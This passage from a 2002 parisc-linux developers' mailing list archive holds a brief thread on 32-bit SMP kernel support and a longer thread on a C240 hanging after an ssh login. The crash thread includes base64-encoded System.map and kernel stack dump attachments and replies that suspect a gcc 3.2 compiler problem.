 message of "Tue, 10 Dec 2002 12:24:12 -0700")
User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17071

grundler@dsl2.external.hp.com (Grant Grundler) writes:

> On Tue, Dec 10, 2002 at 10:41:00AM -0800, FARINATI,LEANDRO wrote:
>> 	I would link to know if the SMP is working on kernel 19 pa 23, 32
>> bits?
>
> I assume you mean 2.4.19-pa23.
> IIRC 2.4.19-pa24 booted/worked on a500 (64-bit) and I thought that was
> an SMP kernel but aren't sure now.

The main thing here is that 32- and 64-bit SMP kernels are very
different. On a D390 a 32-bit kernel crashes on a lot of cases (I've
submited info on atleast three of those) and 64-bit kernel also
crashes, but in a very different way (and for very different reasons,
I'm quite sure). Lots of people have managed to run 64-bit SMP
kernels, I haven't heard of any succesful 32-bit SMP yet...

-- 
Arto Jantunen


From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 03:24:07 +0000 (GMT)
Lines: 143
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212110257190.6654-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-275789367-1088173175-1039577047=:6654"
X-Trace: ger.gmane.org 1416622013 18517 80.91.229.3 (22 Nov 2014 02:06:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 20:24:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76E084829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 20:24:13 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBB3Om820274
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 03:24:48 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17072

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1088173175-1039577047=:6654
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi parisc-linux,

I tried to upgrade my C240 (from old 2.4.19-pa2) to linux-2.4.20-pa10 and
linux-2.4.20-pa13 (compiled with gcc-3.2.2-pre). Both new kernels boot
up fine, all daemons/programms seem to work, even network is up, but the
C240 (beast) instantly hangs after I try to ssh into the beast from my
Intel laptop (bucephalas).
Both systems (PA-RISC and Intel) are debian/sid, apt-get upgraded on Dec 8.
I tried the following on the laptop:

==
bucephalas:/home/xam/parisc# ssh xam@beast
xam@beast's password:
Warning: No xauth data; using fake authentication data for X11 forwarding.
==

The ssh authenification is obviously successful, but I won't get a shell prompt
since the C240 crashes immediately after the login.

It works when booting the old linux-2.4.19-pa2, so there must be a bug
introduced between 2.4.19-pa2 and 2.4.20-pa10.

Attached are the kernel stack/register dump and parts of the System.map
when running linux-2.4.20-pa13.
I didn't include the kernel config since it is quite large, but the only
thing that has changed is that I use SYM2 instead of SYM1 on 2.4.20-pa13.
The config of 2.4.20-pa10 (not working) and 2.4.19-pa7 (working) is the
same, and it hasn't changed for quite a while since before that and always
worked.

greetings max

---275789367-1088173175-1039577047=:6654
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ssh-kernel-system.map"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0212110324070.6654@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename="ssh-kernel-system.map"

ZXhjZXJwdCBmcm9tIFN5c3RlbS5tYXAtMi40LjIwLXBhMTM6DQooa2VybmVs
IGNyYXNoZXMgYWZ0ZXIgdHJ5aW5nIHRvIGRvIGEgc3NoIGxvZ2luIGZyb20g
bGFwdG9wIHRvIEMyNDAsDQogYWZ0ZXIgc3VjY2Vzc2Z1bCBhdXRoZW50aWZp
Y2F0aW9uKQ0KDQoxMDEyNmRhOCB0IHNldF91c2VyDQoxMDEyNmU0NCBUIHN5
c19zZXRyZXVpZA0KMTAxMjZmZWMgVCBzeXNfc2V0dWlkDQoxMDEyNzBmOCBU
IHN5c19zZXRyZXN1aWQNCjEwMTI3MmEwIFQgc3lzX2dldHJlc3VpZA0KMTAx
MjczNDAgVCBzeXNfc2V0cmVzZ2lkDQoxMDEyNzQ1MCBUIHN5c19nZXRyZXNn
aWQNCjEwMTI3NGYwIFQgc3lzX3NldGZzdWlkDQoxMDEyNzVkOCBUIHN5c19z
ZXRmc2dpZA0KMTAxMjc2NWMgVCBzeXNfdGltZXMNCjEwMTI3Njk4IFQgc3lz
X3NldHBnaWQNCjEwMTI3NzljIFQgc3lzX2dldHBnaWQNCg0KMTAxOTc5M2Mg
dCBpbml0aWFsaXplX3R0eV9zdHJ1Y3QNCjEwMTk3YTc0IFQgdHR5X2RlZmF1
bHRfcHV0X2NoYXINCjEwMTk3YWE0IFQgdHR5X3JlZ2lzdGVyX2RldmZzDQox
MDE5N2FhOCBUIHR0eV91bnJlZ2lzdGVyX2RldmZzDQoxMDE5N2FhYyBUIHR0
eV9yZWdpc3Rlcl9kcml2ZXINCjEwMTk3Yjk0IFQgdHR5X3VucmVnaXN0ZXJf
ZHJpdmVyDQoxMDE5N2NmYyBUIHR0eV9wYXJhbm9pYV9jaGVjaw0KMTAxOTdk
N2MgdCBkb190dHlfd3JpdGUNCjEwMTk3ZjM0IHQgY2hlY2tfdW50aHJvdHRs
ZQ0KMTAxOTdmOGMgdCByZXNldF9idWZmZXJfZmxhZ3MNCjEwMTk3ZmU0IFQg
bl90dHlfZmx1c2hfYnVmZmVyDQoxMDE5ODAzNCBUIG5fdHR5X2NoYXJzX2lu
X2J1ZmZlcg0KMTAxOTgwNzggdCBvcG9zdA0KMTAxOTgyMzQgdCBvcG9zdF9i
bG9jaw0KMTAxOTg0MjQgdCBlY2hvX2NoYXINCjEwMTk4NGJjIHQgZXJhc2Vy
DQoxMDE5ODhkYyB0IG5fdHR5X3JlY2VpdmVfcm9vbQ0KMTAxOTg5MDggdCBu
X3R0eV93cml0ZV93YWtldXANCjEwMTk4OTU0IHQgbl90dHlfcmVjZWl2ZV9i
dWYNCjEwMTk4ZDM4IFQgaXNfaWdub3JlZA0KMTAxOThkODQgdCBuX3R0eV9z
ZXRfdGVybWlvcw0KMTAxOTkxNzggdCBuX3R0eV9jbG9zZQ0KMTAxOTkxYjQg
dCBuX3R0eV9vcGVuDQoxMDE5OTI1NCB0IHJlYWRfY2hhbg0KMTAxOTk4ZDgg
dCB3cml0ZV9jaGFuDQoxMDE5OWI0NCB0IG5vcm1hbF9wb2xsDQoxMDE5OWNk
YyB0IHB1dF90dHlfcXVldWUNCjEwMTk5ZDI0IHQgbl90dHlfcmVjZWl2ZV9j
aGFyDQoxMDE5YTNkOCB0IGNvcHlfZnJvbV9yZWFkX2J1Zg0KMTAxOWE0YTAg
VCB0dHlfd2FpdF91bnRpbF9zZW50DQoxMDE5YTViNCB0IHVuc2V0X2xvY2tl
ZF90ZXJtaW9zDQoxMDE5YTZhYyB0IGNoYW5nZV90ZXJtaW9zDQoxMDE5YThh
NCB0IHNldF90ZXJtaW9zDQoxMDE5YWE0OCB0IGdldF90ZXJtaW8NCjEwMTlh
YjYwIHQgaW5xX2Nhbm9uDQoxMDE5YWJjYyBUIHNlbmRfcHJpb19jaGFyDQox
MDE5YWM1YyBUIG5fdHR5X2lvY3RsDQoxMDE5YjBkMCBUIHJhd19vcGVuDQox
MDE5YjJiYyBUIHJhd19yZWxlYXNlDQoxMDE5YjM3OCBUIHJhd19pb2N0bA0K
MTAxOWIzZGMgVCByYXdfY3RsX2lvY3RsDQoxMDE5YjY2NCBUIHJhd19yZWFk
DQoxMDE5YjY5OCBUIHJhd193cml0ZQ0KMTAxOWI2Y2MgdCByd19yYXdfZGV2
DQoxMDE5YjlmMCB0IHB0eV9jbG9zZQ0KMTAxOWJiMzAgdCBwdHlfdW50aHJv
dHRsZQ0KMTAxOWJiYTggdCBwdHlfd3JpdGUNCjEwMTliZDU0IHQgcHR5X3dy
aXRlX3Jvb20NCjEwMTliZDk0IHQgcHR5X2NoYXJzX2luX2J1ZmZlcg0KMTAx
OWJkZjggdCBwdHlfZ2V0X2RldmljZV9udW1iZXINCjEwMTliZTQwIHQgcHR5
X3NldF9sb2NrDQoxMDE5YmViNCB0IHB0eV9ic2RfaW9jdGwNCjEwMTliZWZj
IHQgcHR5X3VuaXg5OF9pb2N0bA0KMTAxOWJmNDggdCBwdHlfZmx1c2hfYnVm
ZmVyDQoxMDE5YmZiOCB0IHB0eV9vcGVuDQo=
---275789367-1088173175-1039577047=:6654
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=ssh-kernel-hang
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0212110324071.6654@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=ssh-kernel-hang

UElORyBidWNlcGhhbGFzLnVjYy5pZSAoMTQzLjIzOS4yMDEuMjAwKTogNTYg
ZGF0YSBieXRlcw0KNjQgYnl0ZXMgZnJvbSAxNDMuMjM5LjIwMS4yMDA6IGlj
bXBfc2VxPTAgdHRsPTY0IHRpbWU9MC42IG1zDQo2NCBieXRlcyBmcm9tIDE0
My4yMzkuMjAxLjIwMDogaWNtcF9zZXE9MSB0dGw9NjQgdGltZT0wLjEgbXMN
Cg0KLS0tIGJ1Y2VwaGFsYXMudWNjLmllIHBpbmcgc3RhdGlzdGljcyAtLS0N
CjIgcGFja2V0cyB0cmFuc21pdHRlZCwgMiBwYWNrZXRzIHJlY2VpdmVkLCAw
JSBwYWNrZXQgbG9zcw0Kcm91bmQtdHJpcCBtaW4vYXZnL21heCA9IDAuMS8w
LjMvMC42IG1zDQpiZWFzdDovZXRjL3JjUy5kIyANClN0YWNrIER1bXA6DQog
MmQwNzJmYzA6ICAwMDA0MDcwZiA0YzRjNGM0YyA0YzRjNGM0YyA0YzRjNGM0
YyANCiAyZDA3MmZiMDogIDRjNGM0YzRjIDRjNGM0YzRjIDRjNGM0YzRjIDRj
NGM0YzRjIA0KIDJkMDcyZmEwOiAgNGM0YzRjNGMgNGM0YzRjNGMgNGM0YzRj
NGMgNGM0YzRjNGMgDQogMmQwNzJmOTA6ICA0YzRjNGM0YyA0YzRjNGM0YyA0
YzRjNGM0YyA0YzRjNGM0YyANCiAyZDA3MmY4MDogIDRjNGM0YzRjIDRjNGM0
YzRjIDRjNGM0YzRjIDRjNGM0YzRjIA0KIDJkMDcyZjcwOiAgNGM0YzRjNGMg
NGM0YzRjNGMgNGM0YzRjNGMgNGM0YzRjNGMgDQoNCktlcm5lbCBhZGRyZXNz
ZXMgb24gdGhlIHN0YWNrOg0KIFs8MTAxOWJkNGM+XSAgWzwxMDE5N2E5OD5d
ICBbPDEwMTk4MTNjPl0gIFs8MTAxOTg0NzA+XSANCiBbPDEwMTk5ZTQwPl0g
IFs8MTAxOTg5ZWM+XSAgWzwxMDE5YmQ0Yz5dICBbPDEwMTk3YTk4Pl0gDQog
WzwxMDE5ODEzYz5dICBbPDEwMTk4NDcwPl0gIFs8MTAxOTllNDA+XSAgWzwx
MDE5ODllYz5dIA0KIFs8MTAxOWJkNGM+XSAgWzwxMDE5N2E5OD5dICBbPDEw
MTk4MTNjPl0gIFs8MTAxOTg0NzA+XSANCiBbPDEwMTk5ZTQwPl0gIFs8MTAx
OTg5ZWM+XSAgWzwxMDE5YmQ0Yz5dICBbPDEwMTk3YTk4Pl0gDQogWzwxMDE5
ODEzYz5dICBbPDEwMTk4NDcwPl0gIFs8MTAxOTllNDA+XSAgWzwxMDE5ODll
Yz5dIA0KIFs8MTAxOWJkNGM+XSAgWzwxMDE5N2E5OD5dICBbPDEwMTk4MTNj
Pl0gIFs8MTAxOTg0NzA+XSANCiBbPDEwMTk5ZTQwPl0gIFs8MTAxOTg5ZWM+
XSAgWzwxMDE5YmQ0Yz5dICBbPDEwMTk3YTk4Pl0gDQogWzwxMDE5ODEzYz5d
ICBbPDEwMTk4NDcwPl0gIFs8MTAxOTllNDA+XSAgWzwxMDE5ODllYz5dIA0K
IFs8MTAxOWJkNGM+XSANCg0KS2VybmVsIEZhdWx0OiBDb2RlPTYgcmVncz0y
ZDA3MmZjMCAoQWRkcj00YzRjNGM0YykNCg0KICAgICBZWnJ2V0VTVEhMTlhC
Q1ZNY2JjYmNiY2JPR0ZSUVBESQ0KUFNXOiAwMDAwMDAwMDAwMDAwMTAwMDAw
MDAxMTEwMDAwMTExMSBOb3QgdGFpbnRlZA0KcjAwLTAzICAwMDAwMDAwMCAw
MDAwMDAwMCA0YzRjNGM0YyAyZmQ5OTAwMA0KcjA0LTA3ICAyZjFlZTAwMCAw
MDAwMDAwMSAyZDA3MmYwOCAyZmQ5OTAwMA0KcjA4LTExICAwMDAwMDAwMSAw
MDAwMDAwMCAwMDAwMDAwMCAwMDA4YjY2MA0KcjEyLTE1ICAyZmQ5OTk2YyAy
ZDA0YzZkMCAwMDA2OWQ5YyAwMDA2OWQ5Yw0KcjE2LTE5ICAwMDAwMDAwNCAw
MDA2OWQ5YyAwMDAwMDAwNCAwMDAwMDA3Zg0KcjIwLTIzICBmZmZmZmZmZiAw
MDAwMDAwMSAwMDAwMDAwMCAwMDAwMDAwMQ0KcjI0LTI3ICAyZjQ2Yjc0MCAw
MDAwMDAwMCAyZjFlZTAwMCAxMDI3ZTAxMA0KcjI4LTMxICAwMDAwMTAwMCAw
MDAwMDAzMSAyZDA3MmZjMCAxMDE5N2E5OA0Kc3IwLTMgICAwMDAwMDAwMCAw
MDAwMDA3NSAwMDAwMDAwMCAwMDAwMDA3NQ0Kc3I0LTcgICAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KDQpJQVNROiAwMDAwMDAwMCAw
MDAwMDAwMCBJQU9ROiA0YzRjNGM0YyA0YzRjNGM1MA0KIElJUjogNDNmZmZm
ODAgICAgSVNSOiAwODAzMDI1OCAgSU9SOiAzNDAzMDEwMA0KIENQVTogICAg
ICAgIDAgICBDUjMwOiAyZDA0YzAwMCBDUjMxOiAxMDMyMDAwMA0KIE9SSUdf
UjI4OiA2YmQzM2ZjMQ0K
---275789367-1088173175-1039577047=:6654--


From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash when loggin in via ssh
Date: Tue, 10 Dec 2002 22:57:31 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20021211035731.GB9521@systemhalted>
References: <Pine.LNX.4.44.0212110257190.6654-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622013 18521 80.91.229.3 (22 Nov 2014 02:06:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 20:58:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7259A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 20:58:08 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Ly08-0002UO-00; Tue, 10 Dec 2002 22:57:36 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0212110257190.6654-300000@sal.ucc.ie>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (1% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17073

> It works when booting the old linux-2.4.19-pa2, so there must be a bug
> introduced between 2.4.19-pa2 and 2.4.20-pa10.

What compiler/toolchain did you use to compile 2.4.19-pa2?

c.



From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 04:02:46 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212110359250.6654-100000@sal.ucc.ie>
References: <20021211035731.GB9521@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622013 18523 80.91.229.3 (22 Nov 2014 02:06:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 21:02:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC46E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 21:02:53 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBB43Q820767;
	Wed, 11 Dec 2002 04:03:27 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20021211035731.GB9521@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17074

On Tue, 10 Dec 2002, Carlos O'Donell wrote:

> > It works when booting the old linux-2.4.19-pa2, so there must be a bug
> > introduced between 2.4.19-pa2 and 2.4.20-pa10.
>
> What compiler/toolchain did you use to compile 2.4.19-pa2?

Honestly, I don't know 100%. It wasn't gcc-3.2.2-pre for sure, but i
*THINK* it was gcc-3.0.4 (I have to do a dmesg next time)!







From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 04:16:47 +0000 (GMT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie>
References: <20021211035731.GB9521@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622014 18528 80.91.229.3 (22 Nov 2014 02:06:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 21:16:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BF9C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 21:16:54 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBB4HR820966;
	Wed, 11 Dec 2002 04:17:27 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20021211035731.GB9521@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17075

On Tue, 10 Dec 2002, Carlos O'Donell wrote:

> > It works when booting the old linux-2.4.19-pa2, so there must be a bug
> > introduced between 2.4.19-pa2 and 2.4.20-pa10.
>
> What compiler/toolchain did you use to compile 2.4.19-pa2?

Reading my previous post about the change in the Voodoo3 issue (Nov 26),
I realized that linux-2.4.20-rc1-pa7 obviously also worked.
This kernel was definitely compiled with gcc-3.0.4 (the one that
was in sid as of Nov 26).

Yes, it might be a gcc issue ... haven't thought of that ...
I'll try to recompile the latest kernel with a gcc-3.0.4 - tomorrow!

greetings max



From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 01:33:21 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20021211063321.GB10185@systemhalted>
References: <20021211035731.GB9521@systemhalted> <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622014 18533 80.91.229.3 (22 Nov 2014 02:06:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 10 23:33:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96B4B483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Dec 2002 23:33:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18M0Qr-0002jr-00; Wed, 11 Dec 2002 01:33:21 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (39% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17076

> Reading my previous post about the change in the Voodoo3 issue (Nov 26),
> I realized that linux-2.4.20-rc1-pa7 obviously also worked.
> This kernel was definitely compiled with gcc-3.0.4 (the one that
> was in sid as of Nov 26).
> 
> Yes, it might be a gcc issue ... haven't thought of that ...
> I'll try to recompile the latest kernel with a gcc-3.0.4 - tomorrow!

So the urban legend goes that gcc-3.2 compiled kernels may infact
produce mildly incorrect results in the networking code.

I have yet to verify this, and JDA seems to indicate that he has working
kernels with gcc-3.2. While I've only recently tested gcc-3.0.x and
gcc-3.1.x based compiles.

I don't like urban legends >:} *Added item to Chrismas todo list*

c.



From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another kernel compilation error
